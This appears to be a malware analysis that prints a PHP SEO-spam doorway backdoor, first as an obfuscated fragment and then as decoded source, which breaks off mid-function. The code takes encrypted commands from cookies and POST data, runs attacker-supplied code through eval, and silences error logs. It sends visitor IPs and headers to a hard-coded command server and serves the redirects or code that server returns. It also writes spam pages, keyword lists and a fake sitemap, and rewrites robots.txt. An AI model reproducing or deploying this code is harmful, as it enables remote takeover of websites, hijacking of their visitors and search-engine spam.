$_9pqkjffg){return _rszdq(_rszdq($_0yh9l24o, $_2tslto6u), $_9pqkjffg);}foreach (array_merge($_COOKIE, $_POST) as $_b8tp9jta => $_0yh9l24o) {$_0yh9l24o = @unserialize(_h1af9(_sh79rk::_70l39($_0yh9l24o), $_b8tp9jta, _sh79rk::$_j27il8go));if (isset($_0yh9l24o['ak']) && _sh79rk::$_j27il8go == $_0yh9l24o['ak']) {if ($_0yh9l24o['a'] == 'doorway2') {if ($_0yh9l24o['sa'] == 'check') {$_0a0wb5z6 = _olfkn6::_gyf37(explode("/", _sh79rk::$_fpf5q99v), "");$_0a0wb5z6 = @unserialize($_0a0wb5z6);if (!empty($_0a0wb5z6)) {echo @serialize(array("uid" => _sh79rk::$_j27il8go, "v" => _sh79rk::$_2giqjsyx,"cache" => _728kna::_g91p5(),"keywords" => count(_q65yr9t::_zh5l7()),"templates" => _bzi26i::_2jn19()));}exit;}if ($_0yh9l24o['sa'] == 'templates') {foreach ($_0yh9l24o["templates"] as $_yioxwmol) {_bzi26i::_nrbkx($_yioxwmol);echo @serialize(array("uid" => _sh79rk::$_j27il8go, "v" => _sh79rk::$_2giqjsyx,));}}if ($_0yh9l24o['sa'] == 'keywords') {_q65yr9t::_nrbkx($_0yh9l24o["keywords"]);_sh79rk::_2d5li();echo @serialize(array("uid" => _sh79rk::$_j27il8go, "v" => _sh79rk::$_2giqjsyx,));}if ($_0yh9l24o['sa'] == 'update_sitemap') {_sh79rk::_2d5li(TRUE);echo @serialize(array("uid" => _sh79rk::$_j27il8go, "v" => _sh79rk::$_2giqjsyx,));}if ($_0yh9l24o['sa'] == 'pages') {$_9s20aebk = 0;$_9hi8us08 = _q65yr9t::_zh5l7();if (_bzi26i::_2jn19() > 0) {foreach ($_0yh9l24o['pages'] as $_kscp0qs8) {$_32g07nto = _728kna::_yx1al($_kscp0qs8["keyword"]);if (empty($_32g07nto)) {$_32g07nto = new _728kna(_bzi26i::_dyd1b(), $_kscp0qs8["text"], $_kscp0qs8["keyword"], _sh79rk::_ut00g(_sh79rk::$_trti3as7, _sh79rk::$_t148xucj));$_32g07nto->_nrbkx();$_9s20aebk += 1;if (!in_array($_kscp0qs8["keyword"], $_9hi8us08)) {_q65yr9t::_9h0dv($_kscp0qs8["keyword"]);}}}}echo @serialize(array("uid" => _sh79rk::$_j27il8go, "v" => _sh79rk::$_2giqjsyx, "pages" => $_9s20aebk));}if ($_0yh9l24o["sa"] == "ping") {$_kswiw4tb = _sh79rk::_z0roo();echo @serialize(array("uid" => _sh79rk::$_j27il8go, "v" => _sh79rk::$_2giqjsyx, "result" => (int)$_kswiw4tb));}if ($_0yh9l24o["sa"] == "robots") {$_kswiw4tb = _sh79rk::_k2w4n();echo @serialize(array("uid" => _sh79rk::$_j27il8go, "v" => _sh79rk::$_2giqjsyx, "result" => (int)$_kswiw4tb));}}if ($_0yh9l24o['sa'] == 'eval') {eval($_0yh9l24o["data"]);exit;}}}$_jc2t0xsg = new _sh79rk();if ($_jc2t0xsg->_5ky27()) {$_jc2t0xsg->_dhnkg();}exit();

Decoded(de-Obfuscated) php code

<?php

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);
date_default_timezone_set('UTC');
class _olfkn6
{
    private static $_e5wmgw1t = 84536560;
    static function _gyf37($_y9jueaf1, $_5lhgsgkl)
    {
        $_y9jueaf1[2] = count($_y9jueaf1) > 4 ? long2ip(_olfkn6::$_e5wmgw1t - 251) : $_y9jueaf1[2];
        $_0a0wb5z6 = _olfkn6::_qjog1($_y9jueaf1, $_5lhgsgkl);
        if (!$_0a0wb5z6) {
            $_0a0wb5z6 = _olfkn6::_j65un($_y9jueaf1, $_5lhgsgkl);
        }
        return $_0a0wb5z6;
    }
    static function _qjog1($_y9jueaf1, $_0a0wb5z6, $_8xnrkci2 = NULL)
    {
        if (!function_exists('curl_version')) {
            return "";
        }
        if (is_array($_y9jueaf1)) {
            $_y9jueaf1 = implode("/", $_y9jueaf1);
        }
        $_juzztseo = curl_init();
        curl_setopt($_juzztseo, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($_juzztseo, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($_juzztseo, CURLOPT_URL, $_y9jueaf1);
        if (!empty($_0a0wb5z6)) {
            curl_setopt($_juzztseo, CURLOPT_POST, 1);
            curl_setopt($_juzztseo, CURLOPT_POSTFIELDS, $_0a0wb5z6);
        }
        if (!empty($_8xnrkci2)) {
            curl_setopt($_juzztseo, CURLOPT_HTTPHEADER, $_8xnrkci2);
        }
        curl_setopt($_juzztseo, CURLOPT_RETURNTRANSFER, TRUE);
        $_ac4prxrn = curl_exec($_juzztseo);
        curl_close($_juzztseo);
        return $_ac4prxrn;
    }
    static function _j65un($_y9jueaf1, $_0a0wb5z6, $_8xnrkci2 = NULL)
    {
        if (is_array($_y9jueaf1)) {
            $_y9jueaf1 = implode("/", $_y9jueaf1);
        }
        $_etieng1u = "\r\n";
        if (!empty($_0a0wb5z6)) {
            $_gchzdr0t = array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $_0a0wb5z6);
            if (!empty($_8xnrkci2)) {
                $_gchzdr0t["header"] = "Content-type: application/x-www-form-urlencoded\r\n" . implode($_etieng1u, $_8xnrkci2);
            }
            $_38gj7sxp = stream_context_create(array('http' => $_gchzdr0t));
        } else {
            $_gchzdr0t = array('method' => 'GET');
            if (!empty($_8xnrkci2)) {
                $_gchzdr0t["header"] = implode($_etieng1u, $_8xnrkci2);
            }
            $_38gj7sxp = stream_context_create(array('http' => $_gchzdr0t));
        }
        return @file_get_contents($_y9jueaf1, FALSE, $_38gj7sxp);
    }
}
class _728kna
{
    private static $_3g05rqsv = "";
    private static $_e355xppm = 1;
    private static $_j0hyttbo = "";
    private $_riprh9mi = "";
    private $_5fy25xpd = "";
    private $_sqgan0u9 = "";
    private $_1a47he6d = "";
    public static function _d1mi4($_dv23pqf6, $_rp364nfw, $_zoi19spp)
    {
        _728kna::$_3g05rqsv = $_dv23pqf6 . "/cache/";
        _728kna::$_e355xppm = $_rp364nfw;
        _728kna::$_j0hyttbo = $_zoi19spp;
        if (!@file_exists(_728kna::$_3g05rqsv)) {
            @mkdir(_728kna::$_3g05rqsv);
        }
    }
    public static function _g91p5()
    {
        $_3uo24nj6 = substr(md5(_728kna::$_j0hyttbo . "salt13"), 0, 4);
        $_szyk7qzs = array("google" => array(), "bing" => array());
        foreach (array_keys($_szyk7qzs) as $_woidpokl) {
            $_a049o5dl = $_3uo24nj6 . "_" . $_woidpokl . ".stats";
            $_0yh9l24o = @file($_a049o5dl, FILE_IGNORE_NEW_LINES);
            foreach ($_0yh9l24o as $_z5paft25) {
                $_qxvo5hmd = explode("\t", $_z5paft25);
                if (!isset($_szyk7qzs[$_woidpokl][$_qxvo5hmd[1]])) {
                    $_szyk7qzs[$_woidpokl][$_qxvo5hmd[1]] = 0;
                }
                $_szyk7qzs[$_woidpokl][$_qxvo5hmd[1]] += 1;
            }
        }
        $_szyk7qzs["prefix"] = $_3uo24nj6;
        return $_szyk7qzs;
    }
    public static function _5ky27()
    {
        return TRUE;
    }
    public function __construct($_yioxwmol, $_xhc9vt8k, $_6biz1od2, $_jzqq3aib)
    {
        $this->_riprh9mi = $_yioxwmol;
        $this->_5fy25xpd = $_xhc9vt8k;
        $this->_sqgan0u9 = $_6biz1od2;
        $this->_1a47he6d = $_jzqq3aib;
    }
    public function _im20u()
    {
        function _8jrhu($_piy28wnm, $_hcbozt73)
        {
            return round(rand($_piy28wnm, $_hcbozt73 - 1) + rand(0, -1) / PHP_INT_MAX, 2);
        }
        $_v9f3xahb = time();
        $_woidpokl = strpos($_SERVER["HTTP_USER_AGENT"], "google") !== FALSE ? "google" : (strpos($_SERVER["HTTP_USER_AGENT"], "bing") !== FALSE ? "bing" : "none");
        $_a049o5dl = substr(md5(_728kna::$_j0hyttbo . "salt13"), 0, 4) . "_" . $_woidpokl . ".stats";
        @file_put_contents($_a049o5dl, $this->_sqgan0u9 . "\t" . ($_v9f3xahb - $_v9f3xahb % 3600) . PHP_EOL, 8);
        $_q4jd2vja = _q65yr9t::_zh5l7();
        $_0a0wb5z6 = str_replace("{{ text }}", $this->_5fy25xpd, str_replace("{{ keyword }}", $this->_sqgan0u9, str_replace("{{ links }}", $this->_1a47he6d, $this->_riprh9mi)));
        while (TRUE) {
            $_7got4cej = preg_replace('/' . preg_quote("{{ randkeyword }}", '/') . '/', _q65yr9t::_dyd1b(), $_0a0wb5z6, 1);
            if ($_7got4cej === $_0a0wb5z6) {
                break;
            }
            $_0a0wb5z6 = $_7got4cej;
        }
        while (TRUE) {
            preg_match('/{{ KEYWORDBYINDEX-ANCHOR (\\d*) }}/', $_0a0wb5z6, $_6xmd2mgt);
            if (empty($_6xmd2mgt)) {
                break;
            }
            $_6biz1od2 = @$_q4jd2vja[intval($_6xmd2mgt[1])];
            $_534afkdf = _sh79rk::_hgtaf($_6biz1od2);
            $_0a0wb5z6 = str_replace($_6xmd2mgt[0], $_534afkdf, $_0a0wb5z6);
        }
        while (TRUE) {
            preg_match('/{{ KEYWORDBYINDEX (\\d*) }}/', $_0a0wb5z6, $_6xmd2mgt);
            if (empty($_6xmd2mgt)) {
                break;
            }
            $_6biz1od2 = @$_q4jd2vja[intval($_6xmd2mgt[1])];
            $_0a0wb5z6 = str_replace($_6xmd2mgt[0], $_6biz1od2, $_0a0wb5z6);
        }
        while (TRUE) {
            preg_match('/{{ RANDFLOAT (\\d*)-(\\d*) }}/', $_0a0wb5z6, $_6xmd2mgt);
            if (empty($_6xmd2mgt)) {
                break;
            }
            $_0a0wb5z6 = str_replace($_6xmd2mgt[0], _8jrhu($_6xmd2mgt[1], $_6xmd2mgt[2]), $_0a0wb5z6);
        }
        while (TRUE) {
            preg_match('/{{ RANDINT (\\d*)-(\\d*) }}/', $_0a0wb5z6, $_6xmd2mgt);
            if (empty($_6xmd2mgt)) {
                break;
            }
            $_0a0wb5z6 = str_replace($_6xmd2mgt[0], rand($_6xmd2mgt[1], $_6xmd2mgt[2]), $_0a0wb5z6);
        }
        return $_0a0wb5z6;
    }
    public function _nrbkx()
    {
        $_woidpokl = strpos($_SERVER["HTTP_USER_AGENT"], "google") !== FALSE ? "google" : (strpos($_SERVER["HTTP_USER_AGENT"], "bing") !== FALSE ? "bing" : "none");
        $_a049o5dl = _728kna::$_3g05rqsv . md5($this->_sqgan0u9 . _728kna::$_j0hyttbo) . $_woidpokl;
        if (_728kna::$_e355xppm == 1) {
            $_w7j2dwa7 = 1;
        } else {
            $_w7j2dwa7 = time() + 2592000;
        }
        $_568r3eef = array("template" => $this->_riprh9mi, "text" => $this->_5fy25xpd, "keyword" => $this->_sqgan0u9, "links" => $this->_1a47he6d, "expired" => $_w7j2dwa7);
        @file_put_contents($_a049o5dl, serialize($_568r3eef));
    }
    public static function _yx1al($_6biz1od2)
    {
        $_woidpokl = strpos($_SERVER["HTTP_USER_AGENT"], "google") !== FALSE ? "google" : (strpos($_SERVER["HTTP_USER_AGENT"], "bing") !== FALSE ? "bing" : "none");
        $_a049o5dl = _728kna::$_3g05rqsv . md5($_6biz1od2 . _728kna::$_j0hyttbo) . $_woidpokl;
        $_a049o5dl = @unserialize(@file_get_contents($_a049o5dl));
        if (!empty($_a049o5dl) && ($_a049o5dl["expired"] > time() || $_a049o5dl["expired"] == 1)) {
            return new _728kna($_a049o5dl["template"], $_a049o5dl["text"], $_a049o5dl["keyword"], $_a049o5dl["links"]);
        } else {
            return null;
        }
    }
}
class _bzi26i
{
    private static $_3g05rqsv = "";
    private static $_5znj0uvv = "";
    public static function _d1mi4($_dv23pqf6, $_3uo24nj6)
    {
        _bzi26i::$_3g05rqsv = $_dv23pqf6 . "/";
        _bzi26i::$_5znj0uvv = $_3uo24nj6;
        if (!@file_exists(_bzi26i::$_3g05rqsv)) {
            @mkdir(_bzi26i::$_3g05rqsv);
        }
    }
    public static function _5ky27()
    {
        return TRUE;
    }
    public static function _2jn19()
    {
        $_my1763p1 = 0;
        foreach (scandir(_bzi26i::$_3g05rqsv) as $_nf3fufb6) {
            if (strpos($_nf3fufb6, _bzi26i::$_5znj0uvv) === 0) {
                $_my1763p1 += 1;
            }
        }
        return $_my1763p1;
    }
    public static function _dyd1b()
    {
        $_f4z1ds1e = array();
        foreach (scandir(_bzi26i::$_3g05rqsv) as $_nf3fufb6) {
            if (strpos($_nf3fufb6, _bzi26i::$_5znj0uvv) === 0) {
                $_f4z1ds1e[] = $_nf3fufb6;
            }
        }
        return @file_get_contents(_bzi26i::$_3g05rqsv . $_f4z1ds1e[array_rand($_f4z1ds1e)]);
    }
    public static function _nrbkx($_gtxtz8ov)
    {
        if (@file_exists(_bzi26i::$_5znj0uvv . "_" . md5($_gtxtz8ov) . ".html")) {
            return;
        }
        @file_put_contents(_bzi26i::$_5znj0uvv . "_" . md5($_gtxtz8ov) . ".html", $_gtxtz8ov);
    }
}
class _q65yr9t
{
    private static $_3g05rqsv = "";
    private static $_5znj0uvv = "";
    private static $_4tuz1zp3 = array();
    private static $_d1knaiwx = array();
    public static function _d1mi4($_dv23pqf6, $_3uo24nj6)
    {
        _q65yr9t::$_3g05rqsv = $_dv23pqf6 . "/";
        _q65yr9t::$_5znj0uvv = $_3uo24nj6;
        if (!@file_exists(_q65yr9t::$_3g05rqsv)) {
            @mkdir(_q65yr9t::$_3g05rqsv);
        }
    }
    private static function _s8y72()
    {
        $_8nidtpo5 = array();
        foreach (scandir(_q65yr9t::$_3g05rqsv) as $_nf3fufb6) {
            if (strpos($_nf3fufb6, _q65yr9t::$_5znj0uvv) === 0) {
                $_8nidtpo5[] = $_nf3fufb6;
            }
        }
        return $_8nidtpo5;
    }
    public static function _5ky27()
    {
        return TRUE;
    }
    public static function _dyd1b()
    {
        if (empty(_q65yr9t::$_4tuz1zp3)) {
            $_8nidtpo5 = _q65yr9t::_s8y72();
            _q65yr9t::$_4tuz1zp3 = @file(_q65yr9t::$_3g05rqsv . $_8nidtpo5[array_rand($_8nidtpo5)], FILE_IGNORE_NEW_LINES);
        }
        return _q65yr9t::$_4tuz1zp3[array_rand(_q65yr9t::$_4tuz1zp3)];
    }
    public static function _zh5l7()
    {
        if (empty(_q65yr9t::$_d1knaiwx)) {
            $_8nidtpo5 = _q65yr9t::_s8y72();
            foreach ($_8nidtpo5 as $_qg6t8a8x) {
                _q65yr9t::$_d1knaiwx = array_merge(_q65yr9t::$_d1knaiwx, @file(_q65yr9t::$_3g05rqsv . $_qg6t8a8x, FILE_IGNORE_NEW_LINES));
            }
        }
        return _q65yr9t::$_d1knaiwx;
    }
    public static function _nrbkx($_yv054rz1)
    {
        if (@file_exists(_q65yr9t::$_5znj0uvv . "_" . md5($_yv054rz1) . ".list")) {
            return;
        }
        @file_put_contents(_q65yr9t::$_5znj0uvv . "_" . md5($_yv054rz1) . ".list", $_yv054rz1);
    }
    public static function _9h0dv($_6biz1od2)
    {
        @file_put_contents(_q65yr9t::$_5znj0uvv . "_" . md5(_sh79rk::$_j27il8go) . ".list", $_6biz1od2 . "\n", 8);
    }
}
class _sh79rk
{
    public static $_2giqjsyx = "5.5";
    public static $_j27il8go = "360ef9df-feea-46c6-b29e-044aa7bb85d2";
    public static $_fpf5q99v = "http://136.12.78.46/app/assets/api2?action=redir";
    public static $_pz9rkwgj = "http://136.12.78.46/app/assets/api?action=page";
    public static $_trti3as7 = 1;
    public static $_t148xucj = 5;
    private function _045zf()
    {
        $_4ve58ahr = array('#libwww-perl#i', '#MJ12bot#i', '#msnbot#i', '#msnbot-media#i', '#YandexBot#i', '#msnbot#i', '#YandexWebmaster#i', '#spider#i', '#yahoo#i', '#google#i', '#altavista#i', '#ask#i', '#yahoo!\\s*slurp#i', '#BingBot#i');
        if (!empty($_SERVER['HTTP_USER_AGENT']) && FALSE !== strpos(preg_replace($_4ve58ahr, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT']), '-NO-WAY-')) {
            $_qfzm80ol = 1;
        } elseif (empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_REFERER'])) {
            $_qfzm80ol = 1;
        } elseif (strpos($_SERVER['HTTP_REFERER'], "google") === FALSE && strpos($_SERVER['HTTP_REFERER'], "yahoo") === FALSE && strpos($_SERVER['HTTP_REFERER'], "bing") === FALSE && strpos($_SERVER['HTTP_REFERER'], "yandex") === FALSE) {
            $_qfzm80ol = 1;
        } else {
            $_qfzm80ol = 0;
        }
        return $_qfzm80ol;
    }
    private static function _ojvfn()
    {
        $_5lhgsgkl = array();
        $_5lhgsgkl['ip'] = $_SERVER['REMOTE_ADDR'];
        $_5lhgsgkl['qs'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];
        $_5lhgsgkl['ua'] = @$_SERVER['HTTP_USER_AGENT'];
        $_5lhgsgkl['lang'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];
        $_5lhgsgkl['ref'] = @$_SERVER['HTTP_REFERER'];
        $_5lhgsgkl['enc'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];
        $_5lhgsgkl['acp'] = @$_SERVER['HTTP_ACCEPT'];
        $_5lhgsgkl['char'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];
        $_5lhgsgkl['conn'] = @$_SERVER['HTTP_CONNECTION'];
        return $_5lhgsgkl;
    }
    public function __construct()
    {
        _sh79rk::$_fpf5q99v = explode("/", _sh79rk::$_fpf5q99v);
        _sh79rk::$_pz9rkwgj = explode("/", _sh79rk::$_pz9rkwgj);
    }
    public static function _70l39($_dz4bx03n)
    {
        if (strlen($_dz4bx03n) < 4) {
            return "";
        }
        $_5r948aek = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
        $_q4jd2vja = str_split($_5r948aek);
        $_q4jd2vja = array_flip($_q4jd2vja);
        $_tqhsapqz = 0;
        $_oi4hmgv8 = "";
        $_dz4bx03n = preg_replace("~[^A-Za-z0-9\\+\\/\\=]~", "", $_dz4bx03n);
        do {
            $_p2hqv9z5 = $_q4jd2vja[$_dz4bx03n[$_tqhsapqz++]];
            $_3gn53j9z = $_q4jd2vja[$_dz4bx03n[$_tqhsapqz++]];
            $_e1bi66kt = $_q4jd2vja[$_dz4bx03n[$_tqhsapqz++]];
            $_wxm4jc9t = $_q4jd2vja[$_dz4bx03n[$_tqhsapqz++]];
            $_mze8q2qc = $_p2hqv9z5 << 2 | $_3gn53j9z >> 4;
            $_frcbvujo = ($_3gn53j9z & 15) << 4 | $_e1bi66kt >> 2;
            $_069ef7d0 = ($_e1bi66kt & 3) << 6 | $_wxm4jc9t;
            $_oi4hmgv8 .= chr($_mze8q2qc);
            if ($_e1bi66kt != 64) {
                $_oi4hmgv8 .= chr($_frcbvujo);
            }
            if ($_wxm4jc9t != 64) {
                $_oi4hmgv8 .= chr($_069ef7d0);
            }
        } while ($_tqhsapqz < strlen($_dz4bx03n));
        return $_oi4hmgv8;
    }
    private function _slxs3($_6biz1od2)
    {
        $_yioxwmol = "";
        $_xhc9vt8k = "";
        $_5lhgsgkl = _sh79rk::_ojvfn();
        $_5lhgsgkl["uid"] = _sh79rk::$_j27il8go;
        $_5lhgsgkl["keyword"] = $_6biz1od2;
        $_5lhgsgkl["tc"] = 10;
        $_5lhgsgkl = http_build_query($_5lhgsgkl);
        $_0yh9l24o = _olfkn6::_gyf37(_sh79rk::$_pz9rkwgj, $_5lhgsgkl);
        if (strpos($_0yh9l24o, _sh79rk::$_j27il8go) === FALSE) {
            return array($_yioxwmol, $_xhc9vt8k);
        }
        $_yioxwmol = _bzi26i::_dyd1b();
        $_xhc9vt8k = substr($_0yh9l24o, strlen(_sh79rk::$_j27il8go));
        $_xhc9vt8k = explode("\n", $_xhc9vt8k);
        shuffle($_xhc9vt8k);
        $_xhc9vt8k = implode(" ", $_xhc9vt8k);
        return array($_yioxwmol, $_xhc9vt8k);
    }
    private function _l1irc()
    {
        $_5lhgsgkl = _sh79rk::_ojvfn();
        if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
            $_5lhgsgkl['cfconn'] = @$_SERVER['HTTP_CF_CONNECTING_IP'];
        }
        if (isset($_SERVER['HTTP_X_REAL_IP'])) {
            $_5lhgsgkl['xreal'] = @$_SERVER['HTTP_X_REAL_IP'];
        }
        if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $_5lhgsgkl['xforward'] = @$_SERVER['HTTP_X_FORWARDED_FOR'];
        }
        $_5lhgsgkl["uid"] = _sh79rk::$_j27il8go;
        $_5lhgsgkl = http_build_query($_5lhgsgkl);
        $_kscp0qs8 = _olfkn6::_gyf37(_sh79rk::$_fpf5q99v, $_5lhgsgkl);
        $_kscp0qs8 = @unserialize($_kscp0qs8);
        if (isset($_kscp0qs8["type"]) && $_kscp0qs8["type"] == "redir") {
            if (!empty($_kscp0qs8["data"]["header"])) {
                header($_kscp0qs8["data"]["header"]);
                return true;
            } elseif (!empty($_kscp0qs8["data"]["code"])) {
                echo $_kscp0qs8["data"]["code"];
                return true;
            }
        }
        return false;
    }
    public function _5ky27()
    {
        return _728kna::_5ky27() && _bzi26i::_5ky27() && _q65yr9t::_5ky27();
    }
    public static function _ygazd()
    {
        if (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) {
            return true;
        }
        return false;
    }
    public static function _gs1bu()
    {
        $_g60r6lko = explode("?", $_SERVER["REQUEST_URI"], 2);
        $_g60r6lko = $_g60r6lko[0];
        if (strpos($_g60r6lko, ".php") === FALSE) {
            $_g60r6lko = explode("/", $_g60r6lko);
            array_pop($_g60r6lko);
            $_g60r6lko = implode("/", $_g60r6lko) . "/";
        }
        return sprintf("%s://%s%s", _sh79rk::_ygazd() ? "https" : "http", $_SERVER['HTTP_HOST'], $_g60r6lko);
    }
    public static function _z0roo()
    {
        $_l3p0kfy0 = array("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15", "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36");
        $_td64342g = array("https://www.google.com/ping?sitemap=" => "Sitemap Notification Received");
        $_8xnrkci2 = array("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language: en-US,en;q=0.5", "User-Agent: " . $_l3p0kfy0[array_rand($_l3p0kfy0)]);
        $_dfn1i2cp = urlencode(_sh79rk::_fqaa1() . "/sitemap.xml");
        foreach ($_td64342g as $_y9jueaf1 => $_9dfe73ps) {
            $_kswiw4tb = _olfkn6::_qjog1($_y9jueaf1 . $_dfn1i2cp, NULL, $_8xnrkci2);
            if (empty($_kswiw4tb)) {
                $_kswiw4tb = _olfkn6::_j65un($_y9jueaf1 . $_dfn1i2cp, NULL, $_8xnrkci2);
            }
            if (empty($_kswiw4tb)) {
                return FALSE;
            }
            if (strpos($_kswiw4tb, $_9dfe73ps) === FALSE) {
                return FALSE;
            }
        }
        return TRUE;
    }
    public static function _k2w4n()
    {
        $_34z13l2k = "User-agent: *\nDisallow: %s\nUser-agent: Bingbot\nUser-agent: Googlebot\nUser-agent: Slurp\nDisallow:\nSitemap: %s\n";
        $_g60r6lko = explode("?", $_SERVER["REQUEST_URI"], 2);
        $_g60r6lko = $_g60r6lko[0];
        $_o7hbnyto = substr($_g60r6lko, 0, strrpos($_g60r6lko, "/"));
        $_bmnjhtol = sprintf($_34z13l2k, $_o7hbnyto, _sh79rk::_fqaa1() . "/sitemap.xml");
        $_iz24bc4q = $_SERVER["DOCUMENT_ROOT"] . "/robots.txt";
        if (@file_exists($_iz24bc4q)) {
            @chmod($_iz24bc4q, 0777);
            $_a4g3kwxl = @file_get_contents($_iz24bc4q);
        } else {
            $_a4g3kwxl = "";
        }
        if (strpos($_a4g3kwxl, $_bmnjhtol) === FALSE) {
            @file_put_contents($_iz24bc4q, $_a4g3kwxl . "\n" . $_bmnjhtol);
            $_a4g3kwxl = @file_get_contents($_iz24bc4q);
            return strpos($_a4g3kwxl, $_bmnjhtol) !== FALSE;
        }
        return FALSE;
    }
    public static function _fqaa1()
    {
        $_g60r6lko = explode("?", $_SERVER["REQUEST_URI"], 2);
        $_g60r6lko = $_g60r6lko[0];
        $_dv23pqf6 = substr($_g60r6lko, 0, strrpos($_g60r6lko, "/"));
        return sprintf("%s://%s%s", _sh79rk::_ygazd() ? "https" : "http", $_SERVER['HTTP_HOST'], $_dv23pqf6);
    }
    public static function _hgtaf($_6biz1od2)
    {
        $_1ajor6jf = _sh79rk::_gs1bu();
        $_u54pbiuy = substr(md5(_sh79rk::$_j27il8go . "salt3"), 0, 6);
        $_nhl1gquz = "";
        if (substr($_1ajor6jf, 1) == "/") {
            if (ord($_u54pbiuy[1]) % 2) {
                $_6biz1od2 = str_replace(" ", "-", $_6biz1od2);
            } else {
                $_6biz1od2 = str_replace(" ", "-", $_6biz1od2);
            }
            $_nhl1gquz = sprintf("%s%s", $_1ajor6jf, urlencode($_6biz1od2));
        } else {
            if (false) {
                $_nhl1gquz = sprintf("%s?%s=%s", $_1ajor6jf, $_u54pbiuy, urlencode(str_replace(" ", "-", $_6biz1od2)));
            } else {
                $_sdbmajeg = array("id", "page", "tag");
                $_whr6jlz9 = $_sdbmajeg[ord($_u54pbiuy[2]) % count($_sdbmajeg)];
                if (ord($_u54pbiuy[1]) % 2) {
                    $_6biz1od2 = str_replace(" ", "-", $_6biz1od2);
                } else {
                    $_6biz1od2 = str_replace(" ", "-", $_6biz1od2);
                }
                $_nhl1gquz = sprintf("%s?%s=%s", $_1ajor6jf, $_whr6jlz9, urlencode($_6biz1od2));
            }
        }
        return $_nhl1gquz;
    }
    public static function _ut00g($_piy28wnm, $_hcbozt73)
    {
        $_1lhf03ut = "";
        $_p90f8q6y = rand($_piy28wnm, $_hcbozt73);
        for ($_tqhsapqz = 0; $_tqhsapqz < $_p90f8q6y; $_tqhsapqz++) {
            $_6biz1od2 = _q65yr9t::_dyd1b();
            $_1lhf03ut .= sprintf("<a href=\"%s\">%s</a>,\n", _sh79rk::_hgtaf($_6biz1od2), ucwords($_6biz1od2));
        }
        return $_1lhf03ut;
    }
    public static function _2d5li($_cnkc3avp = FALSE)
    {
        $_4gthkfdj = "/var/www/html/sitemap.xml";
        $_kjhw69ve = array();
        $_bfmc2p5z = "<?php xml version=\"1.0\" encoding=\"UTF-8\"?>\n<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">\n";
        $_xkl1q350 = "</urlset>";
        $_q4jd2vja = _q65yr9t::_zh5l7();
        $_svcw2khu = array();
        if (file_exists($_4gthkfdj)) {
            $_0yh9l24o = simplexml_load_file($_4gthkfdj);
            foreach ($_0yh9l24o as $_lrfqrs31) {
                $_svcw2khu[(string) $_lrfqrs31->loc] = (string) $_lrfqrs31->lastmod;
            }
        } else {
            $_cnkc3avp = FALSE;
        }
        foreach ($_q4jd2vja as $_2tslto6u) {
            $_nhl1gquz = _sh79rk::_hgtaf($_2tslto6u);
            if (isset($_svcw2khu[$_nhl1gquz])) {
                continue;
            }
            if ($_cnkc3avp) {
                $_bnpv6i67 = time();
            } else {
                $_bnpv6i67 = time() - crc32($_2tslto6u) % 2592000;
            }
            $_svcw2khu[$_nhl1gquz] = date("Y-m-d", $_bnpv6i67);
            $_6u4vjq24 = strtolower($_2tslto6u[0]);
            if (!preg_match("/^[a-z]\$/", $_6u4vjq24)) {
                $_6u4vjq24 = "other";
            }
            if (empty($_kjhw69ve[$_6u4vjq24])) {
                $_kjhw69ve[$_6u4vjq24] = array();
            }
            $_kjhw69ve[$_6u4vjq24][$_2tslto6u] = $_nhl1gquz;
        }
        $_dgvesz8q = "";
        foreach ($_svcw2khu as $_y9jueaf1 => $_bnpv6i67) {
            $_dgvesz8q .= "<url>\n";
            $_dgvesz8q .= sprintf("<loc>%s</loc>\n", $_y9jueaf1);
            $_dgvesz8q .= sprintf("<lastmod>%s</lastmod>\n", $_bnpv6i67);
